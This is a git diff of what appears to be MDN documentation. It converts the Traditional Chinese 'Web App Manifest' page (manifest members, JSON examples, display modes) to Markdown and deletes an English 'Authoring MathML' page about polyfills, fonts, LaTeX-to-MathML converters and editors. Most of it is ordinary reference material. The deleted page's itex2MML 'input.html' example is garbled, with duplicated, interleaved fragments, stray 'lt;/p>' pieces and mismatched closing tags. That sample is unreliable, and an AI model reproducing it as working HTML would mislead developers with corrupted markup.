定義開發者喜好的 Web 應用程式顯示模式。

- -
"display": "standalone"
- -

有效值:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
顯示模式描述Fallback 顯示模式
fullscreen所有可用的顯示區域都被填充並且不顯示使用者代理 {{Glossary("chrome")}} 。standalone
standalone這看起來和感覺上就像是獨立應用程式一樣,包括有不同的執行視窗、有圖示的應用程式啟動器 ... 等等。 在這模式下,使用者代理將不包含控制導覽列,但能包含其他的 UI 元素,像是狀態列。minimal-ui
minimal-ui這看起來和感覺上就像是獨立應用程式一樣,但將有控制導覽列 UI 元素的最小設置,元素會因瀏覽器而不同。browser
browser預設值。 應用程式如常規般地被開啟於瀏覽器分頁或新視窗,依瀏覽器與平台而不同。(None)
- -
-

Note: 您能根據顯示模式選擇性地將 CSS display-mode media 功能運用於您的應用程式,這可以提供一致的使用者體驗不管是由網址開啟網站或者由桌面圖示啟動。

-
- -

icons

- -

指定一個陣列,其包含可以在不同上下文情況當中做為應用程式圖示的物件。 舉例來說,其可能被用作代表該 web 應用程式出現在其他應用程式的列表當中,或是作業系統的任務切換器 task switcher 與系統偏好設定 system preferences。

- -
"icons": [
-  {
-    "src": "icon/lowres.webp",
-    "sizes": "48x48",
-    "type": "image/webp"
-  },
-  {
-    "src": "icon/lowres",
-    "sizes": "48x48"
-  },
-  {
-    "src": "icon/hd_hi.ico",
-    "sizes": "72x72 96x96 128x128 256x256"
-  },
-  {
-    "src": "icon/hd_hi.svg",
-    "sizes": "72x72"
-  }
-]
- -

圖示物件能包含下列的值:

- - - - - - - - - - - - - - - - - - - - - - -
成員描述
sizes以空白間隔各圖片尺吋的一個字串。
src圖檔的路徑。 若 src 為相對路徑,則網址將以 manifest 的位置為基準。
type關於圖片媒體類型的提示。 其使用目的是允許使用者代理快速地去忽略其不支持的媒體類型的圖片。
- -

lang

- -

指定一個對於 nameshort_name 等成員的主要語言。 其值限單一種語言標籤的字串。

- -
"lang": "en-US"
- -

name

- -

提供一個人類可讀的應用程式名稱,其值是對使用者顯示的,可能在其他應用程式的列表之中,或是做為圖示的標籤。

- -
"name": "Google I/O 2017" 
- -

orientation

- -

定義預設的顯示方向,其將作用在 all the web application's top level {{Glossary("Browsing context", "browsing contexts")}}.

- -
"orientation": "portrait-primary"
- -

其值可以是下列的其中之一:

- -
    -
  • any
  • -
  • natural
  • -
  • landscape
  • -
  • landscape-primary
  • -
  • landscape-secondary
  • -
  • portrait
  • -
  • portrait-primary
  • -
  • portrait-secondary
  • -
- - - -

提供一個布林值告訴使用者代理是否要在 Web 應用程式上去推薦一個相關的應用程式(見下文)給使用者。 這應該只被使用在當原生應用程式提供了 Web 應用程式無法替代其功用的時候。

- -
"prefer_related_applications": false
- -
-

Note: 當省略其值時,預設為 false。

-
- - - -

指定一個包含「應用程式物件」的陣列,其物件用以表示一個能被底層平台安裝或訪問的原生應用程式 — 例如能由 Google Play 商店獲取的原生 Android 應用程式。 這是一個可選的替代方案,如同原生應用程式版的 Web 應用程式一般去提供相似或等同的功能。

- -
"related_applications": [
-  {
-    "platform": "play",
-    "url": "https://play.google.com/store/apps/details?id=com.example.app1",
-    "id": "com.example.app1"
-  }, {
-    "platform": "itunes",
-    "url": "https://itunes.apple.com/app/example-app1/id123456789"
-  }]
- -

應用程式物件能包含下列的值:

- - - - - - - - - - - - - - - - - - - - - - -
成員描述
platform可以找到該應用程式的平台。
url可以找到該應用程式的網址。
id在特定平台上代表該應用程式的 ID。
- -

scope

- -

Defines the navigation scope of this web application's application context. This basically restricts what web pages can be viewed while the manifest is applied. If the user navigates the application outside the scope, it returns to being a normal web page.

- -

If the scope is a relative URL, the base URL will be the URL of the manifest.

- -
"scope": "/myapp/"
- -

short_name

- -

提供一個人類可讀且較簡短的應用程式名稱,其值將被使用在較不足以去顯示 Web 應用程式全名的空間。

- -
"short_name": "I/O 2017"
-
- -

start_url

- -

指定一個當使用者由裝置上啟動應用程式時所開啟的網址。 若使用相對路徑,則網址將以 manifest 的位置為基準。

- -
"start_url": "./?utm_source=web_app_manifest"
- -

theme_color

- -

定義一個應用程式預設的主題顏色。 其值會被作業系統在某些時候運用來顯示應用程式(如: Android 的任務切換器 task switcher 就以主題顏色圍繞著應用程式)。

- -
"theme_color": "aliceblue"
- -

啟動畫面(Splash screens)

- -

在 Chrome 47 或較新版本,啟動畫面 splash screen 會被使用在當 Web 應用程式由主畫面開啟的時後。 這啟動畫面是依 Web App manifest 的屬性自動產生的,明確來說是由 namebackground_coloricons 陣列中較接近裝置的 128dpi 的圖示。

- -

Mime 類型

- -

Manifests 應該被使用 application/manifest+json 的 MIME 類型。不過這是可選的。

- -

瀏覽器相容性

- -

{{Compat}}

diff --git a/files/zh-tw/web/manifest/index.md b/files/zh-tw/web/manifest/index.md new file mode 100644 index 00000000000000..343ce287246c3b --- /dev/null +++ b/files/zh-tw/web/manifest/index.md @@ -0,0 +1,268 @@ +--- +title: Web App Manifest +slug: Web/Manifest +translation_of: Web/Manifest +--- +{{SeeCompatTable}} + +Web App manifest 是一個 JSON 格式的文件,它提供了應用程式相關的資訊(像是名稱、作者、圖示、描述)。 manifest 的功用是將 Web 應用程式安裝到設備的主畫面,為使用者提供更快速的訪問和更豐富的體驗。 + +Web App manifests 是屬於 [progressive web apps](/zh-TW/docs/Web/Apps/Progressive) 的 Web 技術系列的一部分, 這是一個能不透過 App 商店就能被安裝到設備主畫面的 Web 應用程式,伴隨著其他功能,比如離線使用和通知的接收發送。 + +## 部署 manifest + +Web app manifest 的部署只需要在 HTML 文件中的 [head](/zh-TW/docs/Web/HTML/Element/head) 區域加上 [link 元素](/zh-TW/docs/Web/HTML/Element/link)即可。 + +```html + +``` + +## manifest 範例 + +```json +{ + "name": "HackerWeb", + "short_name": "HackerWeb", + "start_url": ".", + "display": "standalone", + "background_color": "#fff", + "description": "A simply readable Hacker News app.", + "icons": [{ + "src": "images/touch/homescreen48.png", + "sizes": "48x48", + "type": "image/png" + }, { + "src": "images/touch/homescreen72.png", + "sizes": "72x72", + "type": "image/png" + }, { + "src": "images/touch/homescreen96.png", + "sizes": "96x96", + "type": "image/png" + }, { + "src": "images/touch/homescreen144.png", + "sizes": "144x144", + "type": "image/png" + }, { + "src": "images/touch/homescreen168.png", + "sizes": "168x168", + "type": "image/png" + }, { + "src": "images/touch/homescreen192.png", + "sizes": "192x192", + "type": "image/png" + }], + "related_applications": [{ + "platform": "web" + }, { + "platform": "play", + "url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb" + }] +} +``` + +## 成員 + +### `background_color` + +定義 Web 應用程式預期的背景顏色。 其值雖然與應用程式樣式表中的值有所重複,但是在 manifest 已可用而樣式表載入之前,瀏覽器可使用該值來繪製 Web 應用程式的背景色。 這能在 Web 應用程式的啟動和載入內容之間創建平順的過場。 + +```json +"background_color": "red" +``` + +> **備註:** `background_color` 成員僅用於改善 Web 應用程式載入時體驗,並且當 Web 應用程式的樣式表可用時,使用者代理不能再將其用作背景顏色。 + +### `description` + +提供一段描述來形容這個 Web 應用程式的作用是什麼。 + +```json +"description": "The app that helps you find the best food in town!" +``` + +### `dir` + +指定一個對於 `name`、` short_name、``description ` 等成員的主要書寫方向。 包含 `lang` 成員,其能夠為右至左書寫的語言提供幫助。 + +```json +"dir": "rtl", +"lang": "ar", +"short_name": "أنا من التطبيق!" +``` + +其值可以是下列的其中之一: + +- `ltr`(左至右) +- `rtl`(右至左) +- `auto`(讓瀏覽器根據 Unicode 雙向演算法對書寫方向做出最佳的猜測) + +> **備註:** 當省略其值時,預設為 `auto`。 + +### `display` + +定義開發者喜好的 Web 應用程式顯示模式。 + +```json +"display": "standalone" +``` + +有效值: + +| 顯示模式 | 描述 | Fallback 顯示模式 | +| ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------- | +| `fullscreen` | 所有可用的顯示區域都被填充並且不顯示使用者代理 {{Glossary("chrome")}} 。 | `standalone` | +| `standalone` | 這看起來和感覺上就像是獨立應用程式一樣,包括有不同的執行視窗、有圖示的應用程式啟動器 ... 等等。 在這模式下,使用者代理將不包含控制導覽列,但能包含其他的 UI 元素,像是狀態列。 | `minimal-ui` | +| `minimal-ui` | 這看起來和感覺上就像是獨立應用程式一樣,但將有控制導覽列 UI 元素的最小設置,元素會因瀏覽器而不同。 | `browser` | +| `browser` | 預設值。 應用程式如常規般地被開啟於瀏覽器分頁或新視窗,依瀏覽器與平台而不同。 | (None) | + +> **備註:** 您能根據顯示模式選擇性地將 CSS [display-mode](/docs/Web/CSS/@media/display-mode) media 功能運用於您的應用程式,這可以提供一致的使用者體驗不管是由網址開啟網站或者由桌面圖示啟動。 + +### `icons` + +指定一個陣列,其包含可以在不同上下文情況當中做為應用程式圖示的物件。 舉例來說,其可能被用作代表該 web 應用程式出現在其他應用程式的列表當中,或是作業系統的任務切換器 task switcher 與系統偏好設定 system preferences。 + +```json +"icons": [ + { + "src": "icon/lowres.webp", + "sizes": "48x48", + "type": "image/webp" + }, + { + "src": "icon/lowres", + "sizes": "48x48" + }, + { + "src": "icon/hd_hi.ico", + "sizes": "72x72 96x96 128x128 256x256" + }, + { + "src": "icon/hd_hi.svg", + "sizes": "72x72" + } +] +``` + +圖示物件能包含下列的值: + +| 成員 | 描述 | +| ------- | ----------------------------------------------------------------------------------------- | +| `sizes` | 以空白間隔各圖片尺吋的一個字串。 | +| `src` | 圖檔的路徑。 若 src 為相對路徑,則網址將以 manifest 的位置為基準。 | +| `type` | 關於圖片媒體類型的提示。 其使用目的是允許使用者代理快速地去忽略其不支持的媒體類型的圖片。 | + +### `lang` + +指定一個對於 `name`、`short_name` 等成員的主要語言。 其值限單一種語言標籤的字串。 + +```json +"lang": "en-US" +``` + +### `name` + +提供一個人類可讀的應用程式名稱,其值是對使用者顯示的,可能在其他應用程式的列表之中,或是做為圖示的標籤。 + +```json +"name": "Google I/O 2017" +``` + +### `orientation` + +定義預設的顯示方向,其將作用在 all the web application's top level {{Glossary("Browsing context", "browsing contexts")}}. + +```json +"orientation": "portrait-primary" +``` + +其值可以是下列的其中之一: + +- `any` +- `natural` +- `landscape` +- `landscape-primary` +- `landscape-secondary` +- `portrait` +- `portrait-primary` +- `portrait-secondary` + +### `prefer_related_applications` + +提供一個布林值告訴使用者代理是否要在 Web 應用程式上去推薦一個相關的應用程式(見下文)給使用者。 這應該只被使用在當原生應用程式提供了 Web 應用程式無法替代其功用的時候。 + +```json +"prefer_related_applications": false +``` + +> **備註:** 當省略其值時,預設為 `false。` + +### `related_applications` + +指定一個包含「應用程式物件」的陣列,其物件用以表示一個能被底層平台安裝或訪問的原生應用程式 — 例如能由 Google Play 商店獲取的原生 Android 應用程式。 這是一個可選的替代方案,如同原生應用程式版的 Web 應用程式一般去提供相似或等同的功能。 + +```json +"related_applications": [ + { + "platform": "play", + "url": "https://play.google.com/store/apps/details?id=com.example.app1", + "id": "com.example.app1" + }, { + "platform": "itunes", + "url": "https://itunes.apple.com/app/example-app1/id123456789" + }] +``` + +應用程式物件能包含下列的值: + +| 成員 | 描述 | +| ---------- | --------------------------------- | +| `platform` | 可以找到該應用程式的平台。 | +| `url` | 可以找到該應用程式的網址。 | +| `id` | 在特定平台上代表該應用程式的 ID。 | + +### `scope` + +Defines the navigation scope of this web application's application context. This basically restricts what web pages can be viewed while the manifest is applied. If the user navigates the application outside the scope, it returns to being a normal web page. + +If the scope is a relative URL, the base URL will be the URL of the manifest. + +```json +"scope": "/myapp/" +``` + +### `short_name` + +提供一個人類可讀且較簡短的應用程式名稱,其值將被使用在較不足以去顯示 Web 應用程式全名的空間。 + +```json +"short_name": "I/O 2017" +``` + +### `start_url` + +指定一個當使用者由裝置上啟動應用程式時所開啟的網址。 若使用相對路徑,則網址將以 manifest 的位置為基準。 + +```json +"start_url": "./?utm_source=web_app_manifest" +``` + +### `theme_color` + +定義一個應用程式預設的主題顏色。 其值會被作業系統在某些時候運用來顯示應用程式(如: Android 的任務切換器 task switcher 就以主題顏色圍繞著應用程式)。 + +```json +"theme_color": "aliceblue" +``` + +## 啟動畫面(Splash screens) + +在 Chrome 47 或較新版本,啟動畫面 splash screen 會被使用在當 Web 應用程式由主畫面開啟的時後。 這啟動畫面是依 Web App manifest 的屬性自動產生的,明確來說是由 `name`、`background_color` 、 `icons `陣列中較接近裝置的 128dpi 的圖示。 + +## Mime 類型 + +Manifests 應該被使用 `application/manifest+json` 的 MIME 類型。不過這是可選的。 + +## 瀏覽器相容性 + +{{Compat}} diff --git a/files/zh-tw/web/mathml/authoring/index.html b/files/zh-tw/web/mathml/authoring/index.html deleted file mode 100644 index a40f65ea9221ef..00000000000000 --- a/files/zh-tw/web/mathml/authoring/index.html +++ /dev/null @@ -1,324 +0,0 @@ ---- -title: Authoring MathML -slug: Web/MathML/Authoring -translation_of: Web/MathML/Authoring ---- -

這裡我們將會介紹該如何利用 MathML 來表達數學語言。如同 HTML, MathML 也是一種 SGML 語言,因此它是以 tag 和 attribute 描述的。HTML 在你使用了一些諸如 list 或 table 等結構時將會變得很複雜,索性我們有一些 WYSIWYG 編輯器和其他 Content Management Systems 來協助我們進行開發。

-

數學符號擁有許多更複雜的結構,如除號, 平方根以及矩陣等,他們都需要分別代表他們的 tags。因此,一個好的 MathML 編輯工具是非常重要的,而接下來我們將介紹一些工具給你。限於篇幅的關係,我們的介紹可能不是十分詳盡,你可以到 W3C MathML software list 查看更進一步的訊息,那裡也介紹了其他的工具。

-

Note that by design, MathML is well-integrated in HTML5 and in particular you can use usual Web features like CSS, DOM, Javascript or SVG. This is out of the scope of this document but anyone with basic knowledge of Web languages will easily be able to mix these features with MathML. Check out our demos and MathML references for more details.

-

Using MathML

-

MathML in HTML pages

-

You can use Presentation MathML inside HTML5 documents:

-
<!DOCTYPE html>
-<html>
-<head>
- <title>MathML in HTML5</title>
-</head>
-<body>
-
-  <h1>MathML in HTML5</h1>
-
-  <p>
-    Square root of two:
-    <math>
-      <msqrt>
-        <mn>2</mn>
-      </msqrt>
-    </math>
-  </p>
-
-</body>
-</html>
-

Content MathML is not supported by browsers. It's recommended to convert your Content MathML markup into Presentation MathML before publishing it, for example with the help of the ctop.xsl stylesheet. Tools mentioned on this page generates Presentation MathML.

-

Fallback for Browsers without MathML support

-

Unfortunately, some browsers are not able to render MathML equations or only have a limited support. Hence you will need to use a MathML polyfill to provide some fallback rendering. If you need only basic mathematical constructions such as those used on this MDN wiki then a small mathml.css stylesheet might be enough. To use it, just insert one line in your document header:

-
<script src="http://fred-wang.github.io/mathml.css/mspace.js"></script>
-

If you need more complex constructions, you might instead consider using the heavier MathJax library as a MathML polyfill:

-
<script src="http://fred-wang.github.io/mathjax.js/mpadded.js"></script>
-

Note that these two scripts perform feature detection of the mspace or mpadded elements (see the browser compatibility table on these pages). If you don't want to use this link to GitHub but instead to integrate these polyfills or others in your own project, you might need the detection scripts to verify the level of MathML support. For example the following function verifies the MathML support by testing the mspace element (you may replace mspace with mpadded):

-
 function hasMathMLSupport() {
-  var div = document.createElement("div"), box;
-  div.innerHTML = "<math><mspace height='23px' width='77px'/></math>";
-  document.body.appendChild(div);
-  box = div.firstChild.firstChild.getBoundingClientRect();
-  document.body.removeChild(div);
-  return Math.abs(box.height - 23) <= 1  && Math.abs(box.width - 77) <= 1;
-}
-

Alternatively, the following UA string sniffing will allow to detect the rendering engines with native MathML support (Gecko and WebKit). Note that UA string sniffing is not the most reliable method and might break from version to version:

-
var ua = navigator.userAgent;
-var isGecko = ua.indexOf("Gecko") > -1 && ua.indexOf("KHTML") === -1 && ua.indexOf('Trident') === -1;
-var isWebKit = ua.indexOf('AppleWebKit') > -1 && ua.indexOf('Chrome') === -1;
-

-

Mathematical fonts

-

Note: browsers can only use a limited set of mathematical fonts to draw stretchy MathML operators. However, implementation of the OpenType MATH table is in progress in Gecko & WebKit. This will provide a generic support for mathematical fonts and simplify the settings described in this section.

-

To get a good mathematical rendering in browsers, some MathML fonts are required. It's a good idea to provide to your visitors a link to the MDN page that explains how to install MathML fonts. Alternatively, you can just make them available as Web fonts. You can get these fonts from the MathML-fonts add-on ; the xpi is just a zip archive that you can fetch and extract for example with the following command:

-
wget https://addons.mozilla.org/firefox/downloads/latest/367848/addon-367848-latest.xpi -O mathml-fonts.zip; \
-unzip mathml-fonts.zip -d mathml-fonts
-

Then copy the mathml-fonts/resource/ directory somewhere on your Web site and ensure that the woff files are served with the correct MIME type. Finally, include the mathml-fonts/resource/mathml.css style sheet in your Web pages, for example by adding the following rule to the default style sheet of your Web site:

-
@import url('/path/to/resource/mathml.css');
-

You then need to modify the font-family on the <math> elements and, for Gecko, the on ::-moz-math-stretchy pseudo element too. For example to use STIX fonts:

-
math {
-  font-family: STIXGeneral;
-}
-
-::-moz-math-stretchy {
-  font-family: STIXNonUnicode, STIXSizeOneSym, STIXSize1, STIXGeneral;
-}
-
-

Try the MathML torture test to compare the rendering of various fonts and the CSS rules to select them.

-

MathML in XML documents (XHTML, EPUB, etc)

-

If for some reason you need to use MathML in XML documents, be sure to satisfy the usual requirements: well-formed document, use of correct MIME type, MathML namespace "http://www.w3.org/1998/Math/MathML" on <math> roots. For example, the XHTML version of the previous example looks like this:
-

-
<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN"
-  "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml">
-<head>
- <title>XHTML+MathML Example</title>
-</head>
-<body>
-
-<h1>XHTML+MathML Example</h1>
-
-  <p>
-    Square root of two:
-    <math xmlns="http://www.w3.org/1998/Math/MathML">
-      <msqrt>
-        <mn>2</mn>
-      </msqrt>
-    </math>
-  </p>
-
-</body>
-</html>
-

Note that if you use MathML as a standalone .mml or .svg documents or inside an EPUB book, it may not always be possible to use MathJax as a polyfill for rendering engines without MathML support. Hence whether MathML can be handled will vary according to the tools used to read these documents.

-

MathML in email and instant messaging clients

-

Modern mail clients may send and receive emails in the HTML5 format and thus can use MathML expressions. Be sure to have the "send as HTML" and "view as HTML" options enabled. In Thunderbird, you can use the "Insert HTML" command to paste your HTML+MathML code. MathBird is a convenient add-on for Thunderbird to insert such MathML expressions using the AsciiMath input syntax. Again, the way MathML is handled and the quality of the MathML rendering depend on the mail clients. Even if your browser supports MathML, your Webmail may prevent you to send or receive mails with MathML inside.

-

In theory, Gecko-based instant messaging clients could integrate one of the Javascript-based text-to-MathML converters mentioned below and render the MathML expressions. For example there is an InstantBird add-on to handle LaTeX expressions.

-

Conversion from a Simple Syntax

-

There are many simple notations (e.g. wiki or markdown syntaxes) to generate HTML pages. The same is true for MathML: for example ASCII syntaxes as used in calculators or the more powerful LaTeX language, very popular among the scientific community. In this section, we present some of these tools to convert from a simple syntax to MathML.

-
    -
  • pros: -
      -
    • Writing mathematical expressions may only require a standard text editor.
    • -
    • Many tools are available, some of them are compatible with the classical LaTeX-to-pdf workflow.
    • -
    • This gives access to advanced features of LaTeX like macros.
    • -
    -
  • -
  • cons: -
      -
    • This may be harder to use: people must learn a syntax, typos in the code may easily lead to parsing or rendering errors etc
    • -
    • The interface is not user-friendly: only code editor without immediate display of the mathematical expression.
    • -
    • None of the syntax has been standardized, making cross-compatibility between converters difficult. Even the popular LaTeX language keeps having new packages added.
    • -
    -
  • -
-

Client-side Conversion

-

In a Web environment, the most obvious method to convert a simple syntax into a DOM tree is to use Javascript and of course many libraries have been developed to perform that task.

-
    -
  • pros: -
      -
    • This is very easy setup: only a few Javascript and CSS files to upload and/or a link to add to your document header.
    • -
    • This is a pure Web-based solution: everything is done by the browsers and no other programs must be installed or compiled.
    • -
    -
  • -
  • cons: -
      -
    • This won't work if the visitor has Javascript disabled.
    • -
    • The MathML code is not exposed to Web crawlers (e.g. those of math search engines or feed aggregators). In particular, your content won't show up properly on Planet.
    • -
    • The conversion must be done at each page load, may be slow and may conflict with the HTML parsing (e.g. "<" for tags or "$" for money amounts)
    • -
    • You may need to synchronize the Javascript converter with other Javascript programs on your page.
    • -
    -
  • -
-

TeXZilla has an <x-tex> custom element, that can be used to write things like

-
<x-tex>\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1</x-tex>
-

and get it automatically converted into MathML. This is still a work-in-progress, but could be improved in the future thanks to Web Components and shadow DOM. Alternatively, you can use the more traditional Javascript parsing of expressions at load time as all the other tools in this section do.

-

One simple client-side conversion tools is ASCIIMathML. Just download the ASCIIMathML.js script and copy it to your Web site. Then on your Web pages, add a <script> tag to load ASCIIMathML and the mathematical expressions delimited by ` (grave accent) will be automatically parsed and converted to MathML:

-
<html>
-<head>
-...
-<script type="text/javascript" src="ASCIIMathML.js"></script>
-...
-</head>
-<body>
-...
-<p>blah blah `x^2 + y^2 = r^2` blah ...
-...
-

LaTeXMathML is a similar script that allows to parse more LaTeX commands. The installation is similar: copy LaTeXMathML.js and LaTeXMathML.standardarticle.css, add links in the header of your document and the LaTeX content of your Web page marked by the "LaTeX" class will be automatically parsed and converted to HTML+MathML:

-
<head>
-...
-<script type="text/javascript" src="LaTeXMathML.js"></script>
-<link rel="stylesheet" type="text/css" href="LaTeXMathML.standardarticle.css" />
-...
-</head>
-
-<body>
-...
-
-<div class="LaTeX">
-\documentclass[12pt]{article}
-
-\begin{document}
-
-\title{LaTeXML Example}
-\maketitle
-
-\begin{abstract}
-This is a sample LaTeXML document.
-\end{abstract}
-
-\section{First Section}
-
-  $ \sum_{n=1}^{+\infty} \frac{1}{n^2} = \frac{\pi^2}{6} $
-
-\end{document}
-</div>
-...
-

jqMath is another script to parse a simple LaTeX-like syntax but which also accepts non-ASCII characters like √{∑↙{n=1}↖{+∞} 6/n^2} = π to write n = 1 + 6 n 2 = π . The installation is similar: download and copy the relevant Javascript and CSS files on your Web site and reference them in your page header (see the COPY-ME.html file from the zip archive for an example). One of the advantage of jqMath over the previous scripts is that it will automatically add some simple CSS rules to do the mathematical layout and make the formulas readable on browsers with limited MathML support.

-

Another way to work around the lack of MathML support in some browsers is to use MathJax. However, note that you may find conflicts and synchronization issues between MathJax and the Javascript libraries previously mentioned. So if you really want to use MathJax as a MathML polyfill, you'd better use its own LaTeX/ASCIIMath parsers too. Note that on the one hand MathJax has better parsing and rendering support but on the other hand it is much bigger, more complex and slower than the previous Javascript libraries. Fortunately, you can use MathJax's CDN so that you don't need to install it on your Web server. Also, the slowest part of MathJax is currently its HTML-CSS / SVG output modes so we recommend to use the Native MathML output for Gecko-based browsers. Hence a typical configuration to use the AMS-LaTeX input is:

-
...
-    <script type="text/x-mathjax-config">
-      MathJax.Hub.Config({
-        MMLorHTML: { prefer: { Firefox: "MML" } }
-      });
-    </script>
-    <script type="text/javascript"
-            src="http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML">
-   </script>
-  </head>
-  <body>
-   \[ \tau = \frac{x}{y} + \sqrt{3} \]
-...
-

Note that the dollar delimiters are not used by default. To use the ASCIIMathML input instead, just replace TeX-AMS-MML_HTMLorMML by AM-MML_HTMLorMML. MathJax has many other features, see the MathJax documentation for further details.

-

Command-line Programs

-

An alternative way is to parse the simple syntax before publishing your web pages. That is, you use command-line programs to generate them and publish these static pages on your server.

-
    -
  • pros: -
      -
    • You get static Web pages: the LaTeX source don't need to be parsed at each page load, the MathML code is exposed to Web crawlers and you can put them easily on any Web server.
    • -
    • Binary programs may run faster than Javascript programs and can be more sophisticated e.g. have a much complete LaTeX support or generate other formats like EPUB.
    • -
    • You can keep compatibility with other tools to generate pdf e.g. you can use the same .tex source for both latex and latexml.
    • -
    -
  • -
  • cons: -
      -
    • This requires to install programs on your computer, which may be a bit more difficult or they may not be available on all platforms.
    • -
    • You must run the programs on your computer and have some kind of workflow to get the Web pages at the end ; that may be a bit tedious.
    • -
    • Binary programs are not appropriate to integrate them in a Mozilla extension or XUL application.
    • -
    -
  • -
-

TeXZilla can be used from the command line and will essentially have the same support as itex2MML described below. However, the stream filter behavior is not implemented yet.

-

If you only want to parse simple LaTeX mathematical expressions, you might want to try tools like itex2MML or Blahtex. The latter is often available on Linux distributions. Let's consider the former, which was originally written by Paul Gartside at the beginning of the Mozilla MathML project and has been maintained by Jacques Distler since then. It's a small stream filter written in C/C++ and generated with flex and bison ; in particular it is very fast. Install flex/bison as well as the classical compiler and make tools. On Unix, you can then download itex2MML, build and install it:

-
wget http://golem.ph.utexas.edu/~distler/blog/files/itexToMML.tar.gz; \
-tar -xzf itexToMML.tar.gz; \
-cd itex2MML/itex-src;
-make
-sudo make install
-

Now suppose that you have a HTML page with TeX fragments delimited by dollars:

-
input.html
-
-...
-</head>
-<body>
-  <p>$\sqrt{a^2-3c}input.html
-
-...
-</head>
-<body>
-  <p>$\sqrt{a^2-3c}input.html
-
-...
-</head>
-<body>
-  <p>$\sqrt{a^2-3c}input.html
-
-...
-</head>
-<body>
-  <p>$\sqrt{a^2-3c}$</p>
-  <p>$$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $$</p>
-</body>
-</html>lt;/p>
-  <p>$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $</p>
-</body>
-</html>lt;/p>
-  <p>$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $</p>
-</body>
-</html>lt;/p>
-  <p>$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} input.html
-
-...
-</head>
-<body>
-  <p>$\sqrt{a^2-3c}input.html
-
-...
-</head>
-<body>
-  <p>$\sqrt{a^2-3c}$</p>
-  <p>$$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $$</p>
-</body>
-</html>lt;/p>
-  <p>$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $</p>
-</body>
-</html>lt;/p>
-</body>
-</html>
-

Then to generate the HTML page input.html with TeX expressions replaced by MathML expressions, just do

-
cat input.html | itex2MML > output.html
-

There are even more sophisticated tools to convert arbitrary LaTeX documents into HTML+MathML. For example TeX4ht is often included in TeX distributions and has an option to use MathML instead of PNG images. This command will generate an XHTML+MathML document foo.xml from a foo.tex LaTeX source:

-
   mk4ht mzlatex foo.tex # Linux/Mac platforms
-   mzlatex foo.tex       # Windows platform
-
-

LaTeXML is another tool that is still actively developed but the release version is rather old, so you'd better install the development version. In particular, this version can generate HTML5 and EPUB documents. Here is the command to execute in order to create a foo.html Web page from the foo.tex LaTeX source:

-
  latexml --dest foo.xml foo.tex
-  latexmlpost --dest foo.html --format=html5 foo.xml
-
-

If you want to have a MathJax fallback for non-Gecko browsers, copy the Javascript lines given above into a mathjax.js file and use the --javascript parameter to tell LaTeXML to include that file:

-
  latexmlpost --dest foo.html --format=html5 --javascript=mathjax.js foo.xml
-
-

If your LaTeX document is big, you might want to split it into several small pages rather putting everything in a single page. This is especially true if you use the MathJax fallback above, since in that case MathJax will take a lot of time to render the equations in non-Gecko browsers. Use the --splitat parameter for that purpose. For example, this will split the pages at the \section level:

-
  latexmlpost --dest foo.html --format=html5 --splitat=section foo.xml
-
-

Finally, to generate an EPUB document, you can do

-
  latexmlc --dest foo.epub --splitat=section foo.xml
-
-

Server-side Conversion

-
    -
  • pros: -
      -
    • Conversion is done server-side and the MathML output can be cached, which is more efficient and cleaner than client-side conversion.
    • -
    -
  • -
  • cons: -
      -
    • This might be a bit more difficult to set up, since you need some admin right on your server.
    • -
    -
  • -
-

TeXZilla can be used as a Web server in order to perform server-side LaTeX-to-MathML conversion. LaTeXML can also be used as a deamon to run server-side. Mathoid is another tool based on MathJax that is also able to perform additional MathML-to-SVG conversion.

-

Instiki is a Wiki that integrates itex2MML to do server-side conversion. In future versions, MediaWiki will support server-side conversion too.

-

Graphical Interface

-

Input Box

-

TeXZilla has several interfaces, including a CKEditor plugin used on MDN, an online demo, a Firefox add-on or a FirefoxOS Webapp. Abiword contains a small equation editor, based on itex2MML. Bluegriffon is a mozilla-based Wysiwyg HTML editor and has an add-on to insert MathML formulas in your document, using ASCII/LaTeX-like syntax.

-

BlueGriffon

-

WYSIYWG Editors

-

Firemath is an extension for Firefox that provides a WYSIWYG MathML editor. A preview of the formula is displayed using the rendering engine of Mozilla. The generated MathML code is available at the bottom. Use the text field for token elements and buttons to build advanced constructions. Once you are done, you can save your document as a XHTML page.

-

OpenOffice and LibreOffice have an equation editor (File → New → Formula). It is semi-WYSIWYG: you enter the source of the formula using the equation panel/keyboard and a preview of the formula is regularly refreshed. The editor uses its own syntax "StarMath" for the source but MathML is also generated when the document is saved. To get the MathML code, save the document as mml and open it with any text editor. Alternatively, you can extract the odf file (which is actually a zip archive) and open an xml file called content.xml.

-

Open Office Math

-

Amaya is the W3C's web editor, which is able to handle MathML inside XHTML documents. Use the Elements and the Special Chars panels to create various advanced mathematical constructs. Simple text such as a+2 is automatically parsed and the appropriate MathML markup is generated. Once you are done, you can directly save your XHTML page and open it in Mozilla.

-

Optical Character & Handwriting Recognition

-

Inftyreader is able to perform some Optical Character Recognition, including translation of mathematical equations into MathML. Other tools can do handwriting recognition such as the Windows Math Input Panel

-

or the online converter Web Equation.

-

-

Original Document Information

-
-
    -
  • Author(s): Frédéric Wang
  • -
  • Other Contributors: Florian Scholz
  • -
  • Copyright Information: Portions of this content are © 2010 by individual mozilla.org contributors; content available under a Creative Commons license | Details.
  • -
-
-

